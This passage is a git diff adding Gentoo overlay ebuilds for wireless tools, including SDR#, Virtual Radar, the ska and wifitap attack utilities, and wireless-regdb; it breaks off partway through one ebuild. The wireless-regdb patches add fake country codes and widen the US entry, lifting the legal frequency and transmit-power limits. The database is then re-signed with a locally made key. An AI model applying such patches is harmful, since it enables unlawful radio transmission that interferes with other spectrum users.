+ +metadata.xml, +sdrsharp-9999.ebuild:
+ initial import of sdrsharp
diff --git a/net-wireless/sdrsharp/Manifest b/net-wireless/sdrsharp/Manifest
new file mode 100644
index 00000000..368ad8ae
--- /dev/null
+++ b/net-wireless/sdrsharp/Manifest
@@ -0,0 +1,4 @@
+AUX sdrsharp 52 SHA256 db62034968b056410d8b90b3e77325cf869529d09535c549b403586905a4fee4 SHA512 ba371fb47ee0fc5f5dc912879631b0623ed0c6f3386e903da1e23320030e882ad677b098bd6ab640cdca19db474035fe65afd094e9a37725c66bc74c3478ca28 WHIRLPOOL b2d7c4251fa7324100982b7c6d35806ca536bc22d42129e6848dffd2529d0175b19cd24900b9b167f97ba9802b30c2a98592936ed8a76eb9f494b01c57ad8497
+EBUILD sdrsharp-9999.ebuild 1098 SHA256 779310b2e2af7b6ff80be2373ee118fb20ed2c3e3936b1913e99ed03771f52af SHA512 75f79986595fbf8acd3890fda4574d7c47be96bbb92c764c4d0d934ffbec7f856f0103f16278b3917c236a9f721acea95dcb0af661f6ddfc07fb5cbc6d0dd0d8 WHIRLPOOL c62076760e12da2cce1947372903e34b03b5c9b0edadb9528b7afad38b63cd026879132b615e148c23fe853a532a915eb9b95ca39f28cdedede78c65cfd8c4c2
+MISC ChangeLog 515 SHA256 16b73205e3d9a15415930ae273ac7dfea35c13d8e23613f966b13b0bcce03cdb SHA512 88264237fc38f7ec34ffdbc3e0c22c0f691463bd8f56561fc6d03d9ad9c21efb83b1c43a3902dda602bb3034b826410e5eccd8e2c3f7fd99778afb022219a2a0 WHIRLPOOL 9b7ad2565a3206929d879b20eb663bd063c9c68e1d5df143ae8ecf2a724e8e4a5b473480b6521bc999f3ea3b5d610806bc652aca85a3b161f0d66d65c928cbaf
+MISC metadata.xml 296 SHA256 5f05908fd92afd7e7bbbc1eca7a7251a783f381fd6fffbde25dd8514d27a0fc2 SHA512 b35a8935028bb79974ce95950ccff8126cd6cae56babbf9f4e78057addc7fd46e88c360427a3f1034d4789b2758de7382eaeb721b676b9f2d07bdeadbeae01cc WHIRLPOOL cce56133bbed06d2abf31898d7cd4b334bc4343ba64fa1e5cf96e7fe9c0303fe3ca5381b9d731086af49f8ea978462ffd73b7459982302eb6fde8edcb89648cf
diff --git a/net-wireless/sdrsharp/files/sdrsharp b/net-wireless/sdrsharp/files/sdrsharp
new file mode 100644
index 00000000..c7956895
--- /dev/null
+++ b/net-wireless/sdrsharp/files/sdrsharp
@@ -0,0 +1,2 @@
+#!/bin/sh
+mono /usr/GETLIBDIR/sdrsharp/SDRSharp.exe
diff --git a/net-wireless/sdrsharp/metadata.xml b/net-wireless/sdrsharp/metadata.xml
new file mode 100644
index 00000000..50b2373a
--- /dev/null
+++ b/net-wireless/sdrsharp/metadata.xml
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>radio</herd>
+<maintainer>
+ <email>zerochaos@gentoo.org</email>
+ <name>Rick Farina</name>
+</maintainer>
+<longdescription lang="en">
+</longdescription>
+</pkgmetadata>
+
diff --git a/net-wireless/sdrsharp/sdrsharp-9999.ebuild b/net-wireless/sdrsharp/sdrsharp-9999.ebuild
new file mode 100644
index 00000000..daceb459
--- /dev/null
+++ b/net-wireless/sdrsharp/sdrsharp-9999.ebuild
@@ -0,0 +1,43 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/sdrsharp/sdrsharp-9999.ebuild,v 1.2 2012/09/10 06:11:56 zerochaos Exp $
+
+EAPI=4
+
+inherit subversion
+
+DESCRIPTION="simple, intuitive, small and fast DSP application for SDR"
+HOMEPAGE="http://sdrsharp.com/"
+ESVN_REPO_URI="https://subversion.assembla.com/svn/sdrsharp/trunk"
+
+LICENSE="MIT MS-RSL"
+SLOT="0"
+KEYWORDS=""
+IUSE=""
+
+#The MS-RSL license forbid modification and redistribution
+RESTRICT="mirror bindist"
+
+DEPEND="dev-lang/mono
+ media-libs/portaudio
+ net-wireless/rtl-sdr"
+RDEPEND="${DEPEND}"
+
+src_compile() {
+ xbuild /t:Rebuild /p:Configuration=Release SDRSharp.sln
+}
+
+src_install() {
+ cd "${S}"/Release
+
+ #remove windows only stuff
+ sed -i -e "/FUNcube/d" SDRSharp.exe.config
+ sed -i -e "/SoftRock/d" SDRSharp.exe.config
+ rm -f SDRSharp.FUNcube.dll SDRSharp.SoftRock.dll
+
+ #install
+ insinto /usr/$(get_libdir)/${PN}
+ doins SDRSharp.exe* *.dll
+ dobin "${FILESDIR}"/sdrsharp
+ sed -i "s#GETLIBDIR#$(get_libdir)#" "${ED}"/usr/bin/sdrsharp
+}
diff --git a/net-wireless/ska/Manifest b/net-wireless/ska/Manifest
new file mode 100644
index 00000000..e2de8563
--- /dev/null
+++ b/net-wireless/ska/Manifest
@@ -0,0 +1,2 @@
+DIST ska-0.2.tar.bz2 13201 RMD160 d4c0122e3d09a79cea322a2c321806a008ef3992 SHA1 94a0a1069b5179e9b3017e54d8ae2b157c1bb9bb SHA256 c4c908b50c1138e9a87f8fae855fe3ce6e726467dd7f36a1c9467da997140165
+EBUILD ska-0.2.ebuild 478 RMD160 92ae16f5b32db603631462fb078d07be44b49e86 SHA1 4b48fdf5ee1ae21b9b06c185c7a51494e9b0e50c SHA256 449d1fafee1e4af0040ba1bb9a0a986a226e4704d2779a6135ba59f39f5879e7
diff --git a/net-wireless/ska/files/digest-ska-0.2 b/net-wireless/ska/files/digest-ska-0.2
new file mode 100644
index 00000000..41941f52
--- /dev/null
+++ b/net-wireless/ska/files/digest-ska-0.2
@@ -0,0 +1,3 @@
+MD5 6e1a6708dca383b28b7de5052e4a8dc9 ska-0.2.tar.bz2 13201
+RMD160 d4c0122e3d09a79cea322a2c321806a008ef3992 ska-0.2.tar.bz2 13201
+SHA256 c4c908b50c1138e9a87f8fae855fe3ce6e726467dd7f36a1c9467da997140165 ska-0.2.tar.bz2 13201
diff --git a/net-wireless/ska/ska-0.2.ebuild b/net-wireless/ska/ska-0.2.ebuild
new file mode 100644
index 00000000..bd1bc36f
--- /dev/null
+++ b/net-wireless/ska/ska-0.2.ebuild
@@ -0,0 +1,23 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+DESCRIPTION="Fake Shared Key Authentication"
+HOMEPAGE="http://homepages.tu-darmstadt.de/~p_larbig/wlan/"
+SRC_URI="http://homepages.tu-darmstadt.de/~p_larbig/wlan/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~x86 ~amd64"
+IUSE=""
+
+DEPEND=""
+
+src_compile() {
+ gcc $CFLAGS -o ska ska.c
+}
+
+src_install() {
+ dobin ska || die "install failed"
+ dodoc README
+}
diff --git a/net-wireless/virtualradar-bin/Manifest b/net-wireless/virtualradar-bin/Manifest
new file mode 100644
index 00000000..1889881b
--- /dev/null
+++ b/net-wireless/virtualradar-bin/Manifest
@@ -0,0 +1,5 @@
+AUX virtualradar 54 SHA256 5fd9d4dccd410ac4091ea48ab0cd7b2ae34627d8b96b25748cf1579ef1d49755 SHA512 57c5064cd8e58659a942523f76796ffa5ae38d88ea7aea97d0858a2cc0fabe6504a77fc342ee5e5a20f1265136934ab9634dbaa39f6048ce50e722d37dd26382 WHIRLPOOL bbb940f264ffaf91045421dce1e32d6f0bbc717c178ee92efb20d056472f75b66bcd08292458bf4ec0db48364116f4e39f259e7c1d382dac9b931e6a24872a6d
+DIST VirtualRadar.tar.gz 1110710 SHA256 5f8d10d2e80b4a87a66dc60efc722ac42b80569be8db3aab4101b047e60d4ecc SHA512 27a35cd9ab3573f7113c6e0dad50de6c8845a275b994b83e0591b67a319e80e66100aff1847c0b388d4910a2f82d50945bf8af37122766b8fc3e727dcaa03963 WHIRLPOOL 2af9ca1119ef62fbb1f0e6813b767533b749b0157266eb4fb3391ac58acd335727853f43875f3e1dd58a31b376d695481dd5c9e848da1465563f4d1dd148e3cf
+DIST virtualradar-bin-1.0.5.tar.gz 1110710 SHA256 5f8d10d2e80b4a87a66dc60efc722ac42b80569be8db3aab4101b047e60d4ecc SHA512 27a35cd9ab3573f7113c6e0dad50de6c8845a275b994b83e0591b67a319e80e66100aff1847c0b388d4910a2f82d50945bf8af37122766b8fc3e727dcaa03963 WHIRLPOOL 2af9ca1119ef62fbb1f0e6813b767533b749b0157266eb4fb3391ac58acd335727853f43875f3e1dd58a31b376d695481dd5c9e848da1465563f4d1dd148e3cf
+EBUILD virtualradar-bin-1.0.5.ebuild 584 SHA256 465f66d43284fe1e8440f70f54233cf47605bd5bf07eab22ba4be783b0cc2833 SHA512 e2c43aaaa6b9499ef0f91f2b092e7be7d3c7988856b5320462d8188d1d682c67bc1e64c07ed8dc12eeed53d98219f9d49e40a198e1594a57134b126c3efff59b WHIRLPOOL 02b1b0149341dde91a755921aca61aaa4494f3e2da693fb8cd89ec3ce7bdbbaedeeb87ad932aa999de46b7ef3b021dc3c71ce8ff5df8cf7763f4da0b403d31b0
+EBUILD virtualradar-bin-9999.ebuild 507 SHA256 bf28e88b46e5706d147a50660d3ea55024880ec9389a40553d75ce56376c622f SHA512 4e2f49b920c1f9c3acbf221a43bd7db2c68ea77de79c409da243d836d7cef04354444bf7ef290402de409b05a5459d341949bb7bcd3b6220860843f890846056 WHIRLPOOL 238fa244e3631acf20080e9afda5c2ff193aaa7ae11c86b2f00b2f550cc0b48821d1b7c3930040fda84635d126ec0bd791278621b26a310a337728b1aaaa6983
diff --git a/net-wireless/virtualradar-bin/files/virtualradar b/net-wireless/virtualradar-bin/files/virtualradar
new file mode 100644
index 00000000..9cb36031
--- /dev/null
+++ b/net-wireless/virtualradar-bin/files/virtualradar
@@ -0,0 +1,2 @@
+#!/bin/sh
+mono /opt/virtualradar-bin/VirtualRadar.exe
diff --git a/net-wireless/virtualradar-bin/virtualradar-bin-1.0.5.ebuild b/net-wireless/virtualradar-bin/virtualradar-bin-1.0.5.ebuild
new file mode 100644
index 00000000..514a011b
--- /dev/null
+++ b/net-wireless/virtualradar-bin/virtualradar-bin-1.0.5.ebuild
@@ -0,0 +1,27 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+DESCRIPTION="Open-source .NET application for ads-b mapping"
+HOMEPAGE="http://www.virtualradarserver.co.uk/Default.aspx"
+#SRC_URI="http://www.virtualradarserver.co.uk/Files/VirtualRadar.tar.gz"
+SRC_URI="http://dev.gentoo.org/~zerochaos/distfiles/${P}.tar.gz"
+
+LICENSE=""
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND="${DEPEND}
+ dev-lang/mono"
+
+S="${WORKDIR}"
+
+src_install() {
+ insinto /opt/${PN}
+ doins *
+ dobin "${FILESDIR}"/virtualradar
+}
diff --git a/net-wireless/virtualradar-bin/virtualradar-bin-9999.ebuild b/net-wireless/virtualradar-bin/virtualradar-bin-9999.ebuild
new file mode 100644
index 00000000..1871bf93
--- /dev/null
+++ b/net-wireless/virtualradar-bin/virtualradar-bin-9999.ebuild
@@ -0,0 +1,26 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+DESCRIPTION="Open-source .NET application for ads-b mapping"
+HOMEPAGE="http://www.virtualradarserver.co.uk/Default.aspx"
+SRC_URI="http://www.virtualradarserver.co.uk/Files/VirtualRadar.tar.gz"
+
+LICENSE=""
+SLOT="0"
+KEYWORDS=""
+IUSE=""
+
+DEPEND=""
+RDEPEND="${DEPEND}
+ dev-lang/mono"
+
+S="${WORKDIR}"
+
+src_install() {
+ insinto /opt/${PN}
+ doins *
+ dobin "${FILESDIR}"/virtualradar
+}
diff --git a/net-wireless/wifitap/Manifest b/net-wireless/wifitap/Manifest
new file mode 100644
index 00000000..746a2a48
--- /dev/null
+++ b/net-wireless/wifitap/Manifest
@@ -0,0 +1,2 @@
+DIST wifitap-0.4.0.tgz 110612 RMD160 808e709050a92cf88f73ca7c79700e9f8bf776fb SHA1 54d605c021192fb4b1b34f0b37b95b7c8fe4df71 SHA256 5029b4b80e66844e6109ee9840e70a90e453bd4e5169d9e903eaef599d15162e
+EBUILD wifitap-0.4.0-r4.ebuild 976 RMD160 65bb71232ad5c817601118e23646fd1e49dc3343 SHA1 2ecc24568b9ce7288fa4bf8b017aa3356859a594 SHA256 cce9376a34979a384c889a04a540951871cbb338175251286f5a678ca7efeb01
diff --git a/net-wireless/wifitap/wifitap-0.4.0-r4.ebuild b/net-wireless/wifitap/wifitap-0.4.0-r4.ebuild
new file mode 100644
index 00000000..9894af10
--- /dev/null
+++ b/net-wireless/wifitap/wifitap-0.4.0-r4.ebuild
@@ -0,0 +1,42 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /root/portage/net-wireless/wifitap/wifitap-0.3.7.ebuild,v 1.1.1.1 2006/03/29 19:41:59 grimmlin Exp $
+
+inherit python
+
+DESCRIPTION="A wireless tool to do direct connection to client without passing through an AP"
+HOMEPAGE="http://sid.rstack.org/index.php/Wifitap_EN"
+SRC_URI="http://sid.rstack.org/code/${PN}/${P}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="<net-analyzer/scapy-2.0
+ dev-python/gnuplot-py
+ dev-python/pyx"
+
+S=${WORKDIR}/${PN}
+
+src_install() {
+ exeinto /usr/bin
+ newexe wifitap.py wifitap
+ newexe wifidns.py wifidns
+ newexe wifiping.py wifiping
+
+ # also install scapy as a importable python module
+ insinto /usr/$(get_libdir)/python$(python_get_version)/site-packages
+ rm scapy.py
+ doins *.py
+
+ dodoc AUTHORS README Changelog BUGS TODO
+}
+
+pkg_postinst() {
+ python_mod_optimize
+}
+
+pkg_postrm() {
+ python_mod_cleanup
+}
diff --git a/net-wireless/wireless-regdb/Manifest b/net-wireless/wireless-regdb/Manifest
new file mode 100644
index 00000000..7302ff74
--- /dev/null
+++ b/net-wireless/wireless-regdb/Manifest
@@ -0,0 +1,13 @@
+AUX extra-monitor-20090817.patch 1710 RMD160 cc644913fd588251f2ab16761a44363eb35015aa SHA1 660987a7b70c993ceb76efec8f960ca97956fe06 SHA256 7ed4039b3ba98d9c8ff25f3395e1a87a5cf05d2b20111ac9972d869c98d40872
+AUX extra-monitor-20091125.patch 1710 RMD160 cc644913fd588251f2ab16761a44363eb35015aa SHA1 660987a7b70c993ceb76efec8f960ca97956fe06 SHA256 7ed4039b3ba98d9c8ff25f3395e1a87a5cf05d2b20111ac9972d869c98d40872
+AUX extra-monitor-debug.patch 1036 RMD160 8100c465b61bfd45781cc6531d74614cfab8e929 SHA1 2b91e5367e82356ab72819432696695fa5354b1e SHA256 57f94302847d7a16cbfd7150cfa91ccebfc2ce752a6a41e223ffcb6599d5592a
+AUX extra-monitor.patch 721 RMD160 eecf971cc407b8d34903b3d8667ac93fe86d1876 SHA1 8e2bf69309d6188f2a789180743a72c0f7c74dc2 SHA256 78752000995d1edd69d7584fd98bcde439fb1e1de4ecdfe6eeec4ca7d8d855f9
+DIST wireless-regdb-2009.01.30.tar.bz2 11515 RMD160 56ec08a66db2795afef93271d0c93178ac9130ca SHA1 280935c9428d353a9d50a0bfa533fc187ccfe6cb SHA256 8b86eeab87497b708b2ec590ebf32659244dbfba57d33329ce0310c8564dd75b
+DIST wireless-regdb-2009.03.09.tar.bz2 11855 RMD160 e1f4f9c64ddfcd9374f8ac5327203e1e048a6d10 SHA1 f823eeb0c637fee9c705fc7112b33fc9eb55fa4a SHA256 794c5f7d59cd83ba6fe33ef5a25cd28fa655f395df43b648157ccec2fe5faf35
+DIST wireless-regdb-2009.08.17.tar.bz2 12745 RMD160 21ebefcd8d8aefd3b559f432f0948a763144ded4 SHA1 ab87bfd0b2f26a8e1213da16ce2add47c831ac66 SHA256 6b1e39bec4c1122e5639e979f2632430e41a2acac8ba251a13bf5c953f4775a1
+DIST wireless-regdb-2009.11.25.tar.bz2 12844 RMD160 a129a77e700b42de339e6c1891d51e729349fbe0 SHA1 c8afeffc4ad4f292d43551ce1c5c20e8aa559c34 SHA256 b9d569a41f66323339b7aa203db6e2d8f39c98192f134b5eef2135cf09cd943f
+EBUILD wireless-regdb-20090130-r1.ebuild 1064 RMD160 d428dcb67fc6876fd01dac56c2e60d38738f3349 SHA1 e3693e277f12e3c6a77b1fa0c992f09590b8aef7 SHA256 83446433160c2d15e6a53c4920c31bdf425b91d6d1008a8536c98e9c34121780
+EBUILD wireless-regdb-20090309.ebuild 1006 RMD160 c26e06edb51e763c2fa95af9a38587290282651f SHA1 b94515d5cb3bfe26e5bfc2dbc4d96891bacfe685 SHA256 39e29e13e7eddfb5570cb271f98ba906d0a47b6657dd500936c2d7e9620fce68
+EBUILD wireless-regdb-20090817.ebuild 967 RMD160 3222490393c947c8987b8eaa0cd49afccb571093 SHA1 cb40eafba2712c64848952800866608f6d48f3a5 SHA256 2d55b76432f181ff4493f039758ad28662fb66281205deb7ac391bb00069191d
+EBUILD wireless-regdb-20091125-r1.ebuild 1026 RMD160 1498ca1c83692114a1d0ec0ad7c2bbafed34e5ed SHA1 09bf32b8e6bae577f150c1f14d49aabff1324e4b SHA256 06d1670201529a7a19d2c6c45fe66484cc02cba66fae27156f6806ce81e5944e
+EBUILD wireless-regdb-20091125.ebuild 1047 RMD160 3743bae6a7f8e2b34ca3f5d14f14bf7a9d29859b SHA1 31e45b23b1f41c24ad921505141e673a0cf201b9 SHA256 a237766fe331196ba58fe29ba332495f2924f3e16724430f9d023f2f298e6b81
diff --git a/net-wireless/wireless-regdb/files/extra-monitor-20090817.patch b/net-wireless/wireless-regdb/files/extra-monitor-20090817.patch
new file mode 100644
index 00000000..9f06e473
--- /dev/null
+++ b/net-wireless/wireless-regdb/files/extra-monitor-20090817.patch
@@ -0,0 +1,51 @@
+diff -Naur wireless-regdb-2009.08.17-orig/db.txt wireless-regdb-2009.08.17/db.txt
+--- wireless-regdb-2009.08.17-orig/db.txt 2009-08-17 09:25:16.000000000 -0400
++++ wireless-regdb-2009.08.17/db.txt 2009-09-07 20:44:51.000000000 -0400
+@@ -579,6 +579,13 @@
+ country VN:
+ (2402 - 2482 @ 40), (N/A, 20)
+
++country XN:
++ (2182 - 7010 @ 40), (N/A, 40)
++
++country XX:
++ (2182 - 7010 @ 40), (N/A, 30), PASSIVE-SCAN, NO-IBSS
++
++
+ country YE:
+ (2402 - 2482 @ 40), (N/A, 20)
+
+diff -Naur wireless-regdb-2009.08.17-orig/Makefile wireless-regdb-2009.08.17/Makefile
+--- wireless-regdb-2009.08.17-orig/Makefile 2009-08-17 09:25:16.000000000 -0400
++++ wireless-regdb-2009.08.17/Makefile 2009-09-07 20:45:53.000000000 -0400
+@@ -18,8 +18,8 @@
+ echo custom-distro; \
+ fi)
+
+-DISTRO_PRIVKEY ?= ~/.wireless-regdb-$(LSB_ID).key.priv.pem
+-DISTRO_PUBKEY ?= ~/.wireless-regdb-$(LSB_ID).key.priv.pem
++DISTRO_PRIVKEY ?= wireless-regdb-$(LSB_ID).key.priv.pem
++DISTRO_PUBKEY ?= wireless-regdb-$(LSB_ID).key.priv.pem
+
+ REGDB_AUTHOR ?= $(shell if [ -f $(DISTRO_PRIVKEY) ]; then \
+ echo $(LSB_ID) ; \
+@@ -29,7 +29,7 @@
+ echo custom-user; \
+ fi)
+
+-REGDB_PRIVKEY ?= ~/.wireless-regdb-$(REGDB_AUTHOR).key.priv.pem
++REGDB_PRIVKEY ?= wireless-regdb-$(REGDB_AUTHOR).key.priv.pem
+ REGDB_PUBKEY ?= $(REGDB_AUTHOR).key.pub.pem
+
+ REGDB_UPSTREAM_PUBKEY ?= linville.key.pub.pem
+@@ -91,8 +91,8 @@
+ # Distributions packagers should do only once:
+ # make install-distro-key
+ # This will create a private key for you and install it into
+-# ~/.wireless-regdb-$(LSB_ID).key.priv.pem
+-# To make new releaes just do:
++# wireless-regdb-$(LSB_ID).key.priv.pem
++# To make new releases just do:
+ # make maintainer-clean
+ # make
+ # sudo make install
diff --git a/net-wireless/wireless-regdb/files/extra-monitor-20091125.patch b/net-wireless/wireless-regdb/files/extra-monitor-20091125.patch
new file mode 100644
index 00000000..9f06e473
--- /dev/null
+++ b/net-wireless/wireless-regdb/files/extra-monitor-20091125.patch
@@ -0,0 +1,51 @@
+diff -Naur wireless-regdb-2009.08.17-orig/db.txt wireless-regdb-2009.08.17/db.txt
+--- wireless-regdb-2009.08.17-orig/db.txt 2009-08-17 09:25:16.000000000 -0400
++++ wireless-regdb-2009.08.17/db.txt 2009-09-07 20:44:51.000000000 -0400
+@@ -579,6 +579,13 @@
+ country VN:
+ (2402 - 2482 @ 40), (N/A, 20)
+
++country XN:
++ (2182 - 7010 @ 40), (N/A, 40)
++
++country XX:
++ (2182 - 7010 @ 40), (N/A, 30), PASSIVE-SCAN, NO-IBSS
++
++
+ country YE:
+ (2402 - 2482 @ 40), (N/A, 20)
+
+diff -Naur wireless-regdb-2009.08.17-orig/Makefile wireless-regdb-2009.08.17/Makefile
+--- wireless-regdb-2009.08.17-orig/Makefile 2009-08-17 09:25:16.000000000 -0400
++++ wireless-regdb-2009.08.17/Makefile 2009-09-07 20:45:53.000000000 -0400
+@@ -18,8 +18,8 @@
+ echo custom-distro; \
+ fi)
+
+-DISTRO_PRIVKEY ?= ~/.wireless-regdb-$(LSB_ID).key.priv.pem
+-DISTRO_PUBKEY ?= ~/.wireless-regdb-$(LSB_ID).key.priv.pem
++DISTRO_PRIVKEY ?= wireless-regdb-$(LSB_ID).key.priv.pem
++DISTRO_PUBKEY ?= wireless-regdb-$(LSB_ID).key.priv.pem
+
+ REGDB_AUTHOR ?= $(shell if [ -f $(DISTRO_PRIVKEY) ]; then \
+ echo $(LSB_ID) ; \
+@@ -29,7 +29,7 @@
+ echo custom-user; \
+ fi)
+
+-REGDB_PRIVKEY ?= ~/.wireless-regdb-$(REGDB_AUTHOR).key.priv.pem
++REGDB_PRIVKEY ?= wireless-regdb-$(REGDB_AUTHOR).key.priv.pem
+ REGDB_PUBKEY ?= $(REGDB_AUTHOR).key.pub.pem
+
+ REGDB_UPSTREAM_PUBKEY ?= linville.key.pub.pem
+@@ -91,8 +91,8 @@
+ # Distributions packagers should do only once:
+ # make install-distro-key
+ # This will create a private key for you and install it into
+-# ~/.wireless-regdb-$(LSB_ID).key.priv.pem
+-# To make new releaes just do:
++# wireless-regdb-$(LSB_ID).key.priv.pem
++# To make new releases just do:
+ # make maintainer-clean
+ # make
+ # sudo make install
diff --git a/net-wireless/wireless-regdb/files/extra-monitor-debug.patch b/net-wireless/wireless-regdb/files/extra-monitor-debug.patch
new file mode 100644
index 00000000..bb20f867
--- /dev/null
+++ b/net-wireless/wireless-regdb/files/extra-monitor-debug.patch
@@ -0,0 +1,34 @@
+diff -Naur wireless-regdb-2009.03.09-orig/db.txt wireless-regdb-2009.03.09/db.txt
+--- wireless-regdb-2009.03.09-orig/db.txt 2009-03-12 09:53:34.000000000 -0400
++++ wireless-regdb-2009.03.09/db.txt 2009-03-12 10:27:39.000000000 -0400
+@@ -551,11 +551,16 @@
+ (2402 - 2482 @ 40), (N/A, 20)
+
+ country US:
+- (2402 - 2472 @ 40), (3, 27)
++ (2182 - 2402 @ 40), (6, 30), PASSIVE-SCAN, NO-IBSS
++ (2402 - 2472 @ 40), (6, 30)
++ (2472 - 3500 @ 40), (6, 30), PASSIVE-SCAN, NO-IBSS
++ (3500 - 5170 @ 40), (3, 17), PASSIVE-SCAN, NO-IBSS
+ (5170 - 5250 @ 40), (3, 17)
+ (5250 - 5330 @ 40), (3, 20), DFS
++ (5330 - 5490 @ 40), (3, 20), PASSIVE-SCAN, NO-IBSS
+ (5490 - 5710 @ 40), (3, 20), DFS
+ (5735 - 5835 @ 40), (3, 30)
++ (5835 - 7010 @ 40), (3, 30), PASSIVE-SCAN, NO-IBSS
+
+ country UY:
+ (2402 - 2482 @ 40), (N/A, 20)
+@@ -575,6 +580,12 @@
+ country VN:
+ (2402 - 2482 @ 40), (N/A, 20)
+
++country XN:
++ (2182 - 7010 @ 40), (N/A, 40)
++
++country XX:
++ (2182 - 7010 @ 40), (N/A, 30), PASSIVE-SCAN, NO-IBSS
++
+ country YE:
+ (2402 - 2482 @ 40), (N/A, 20)
+
diff --git a/net-wireless/wireless-regdb/files/extra-monitor.patch b/net-wireless/wireless-regdb/files/extra-monitor.patch
new file mode 100644
index 00000000..b026a2f1
--- /dev/null
+++ b/net-wireless/wireless-regdb/files/extra-monitor.patch
@@ -0,0 +1,19 @@
+diff -Naur wireless-regdb-2009.01.30/db.txt wireless-regdb-2009.01.30-zc/db.txt
+--- wireless-regdb-2009.01.30/db.txt 2009-02-10 15:54:30.000000000 -0500
++++ wireless-regdb-2009.01.30-zc/db.txt 2009-02-10 15:56:59.000000000 -0500
+@@ -540,11 +540,15 @@
+ (2402 - 2482 @ 40), (N/A, 20)
+
+ country US:
++ (2182 - 2402 @ 40), (N/A, 0), PASSIVE-SCAN, NO-IBSS
+ (2402 - 2472 @ 40), (3, 27)
++ (2472 - 5170 @ 40), (N/A, 0), PASSIVE-SCAN, NO-IBSS
+ (5170 - 5250 @ 40), (3, 17)
+ (5250 - 5330 @ 40), (3, 20), DFS
++ (5330 - 5490 @ 40), (N/A, 0), PASSIVE-SCAN, NO-IBSS
+ (5490 - 5710 @ 40), (3, 20), DFS
+ (5735 - 5835 @ 40), (3, 30)
++ (5835 - 7000 @ 40), (N/A, 0), PASSIVE-SCAN, NO-IBSS
+
+ country UY:
+ (2402 - 2482 @ 40), (N/A, 20)
diff --git a/net-wireless/wireless-regdb/wireless-regdb-20090130-r1.ebuild b/net-wireless/wireless-regdb/wireless-regdb-20090130-r1.ebuild
new file mode 100644
index 00000000..6b5e521b
--- /dev/null
+++ b/net-wireless/wireless-regdb/wireless-regdb-20090130-r1.ebuild
@@ -0,0 +1,38 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/wireless-regdb/wireless-regdb-20090130.ebuild,v 1.1 2009/02/02 18:42:21 chainsaw Exp $
+
+MY_P="wireless-regdb-${PV:0:4}.${PV:4:2}.${PV:6:2}"
+DESCRIPTION="Binary regulatory database for CRDA"
+HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory"
+SRC_URI="http://wireless.kernel.org/download/wireless-regdb/${MY_P}.tar.bz2"
+LICENSE="as-is"
+SLOT="0"
+
+inherit eutils
+
+KEYWORDS="amd64 ~ppc ~ppc64 x86"
+IUSE=""
+DEPEND="dev-libs/openssl
+ dev-lang/python
+ dev-python/m2crypto"
+#RDEPEND="${DEPEND}" It doesn't actually have runtime deps afaik
+S="${WORKDIR}/${MY_P}"
+
+src_unpack() {
+ unpack ${A}
+ cd "${S}"
+ epatch "${FILESDIR}"/extra-monitor.patch
+ emake maintainer-clean || die "make maintainer-clean failed"
+}
+
+src_compile() {
+ emake key.priv.pem || die "make key.priv.pem failed"
+ emake || die "emake failed"
+}
+
+src_install() {
+ insinto /usr/lib/crda/
+ doins regulatory.bin
+ doins key.pub.pem
+}
diff --git a/net-wireless/wireless-regdb/wireless-regdb-20090309.ebuild b/net-wireless/wireless-regdb/wireless-regdb-20090309.ebuild
new file mode 100644
index 00000000..e5b84e8a
--- /dev/null
+++ b/net-wireless/wireless-regdb/wireless-regdb-20090309.ebuild
@@ -0,0 +1,38 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/wireless-regdb/wireless-regdb-20090130.ebuild,v 1.1 2009/02/02 18:42:21 chainsaw Exp $
+
+MY_P="wireless-regdb-${PV:0:4}.${PV:4:2}.${PV:6:2}"
+DESCRIPTION="Binary regulatory database for CRDA"
+HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory"
+SRC_URI="http://wireless.kernel.org/download/wireless-regdb/${MY_P}.tar.bz2"
+LICENSE="as-is"
+SLOT="0"
+
+inherit eutils
+
+KEYWORDS="amd64 ~ppc ~ppc64 x86"
+IUSE=""
+DEPEND="dev-libs/openssl
+ dev-lang/python
+ dev-python/m2crypto"
+
+S="${WORKDIR}/${MY_P}"
+
+src_unpack() {
+ unpack ${A}
+ cd "${S}"
+ epatch "${FILESDIR}"/extra-monitor-debug.patch
+ emake maintainer-clean || die "make maintainer-clean failed"
+}
+
+src_compile() {
+ emake key.priv.pem || die "make key.priv.pem failed"
+ emake || die "emake failed"
+}
+
+src_install() {
+ insinto /usr/lib/crda/
+ doins regulatory.bin
+ doins key.pub.pem
+}
diff --git a/net-wireless/wireless-regdb/wireless-regdb-20090817.ebuild b/net-wireless/wireless-regdb/wireless-regdb-20090817.ebuild
new file mode 100644
index 00000000..867166e0
--- /dev/null
+++ b/net-wireless/wireless-regdb/wireless-regdb-20090817.ebuild
@@ -0,0 +1,37 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/wireless-regdb/wireless-regdb-20090130.ebuild,v 1.1 2009/02/02 18:42:21 chainsaw Exp $
+
+MY_P="wireless-regdb-${PV:0:4}.${PV:4:2}.${PV:6:2}"
+DESCRIPTION="Binary regulatory database for CRDA"
+HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory"
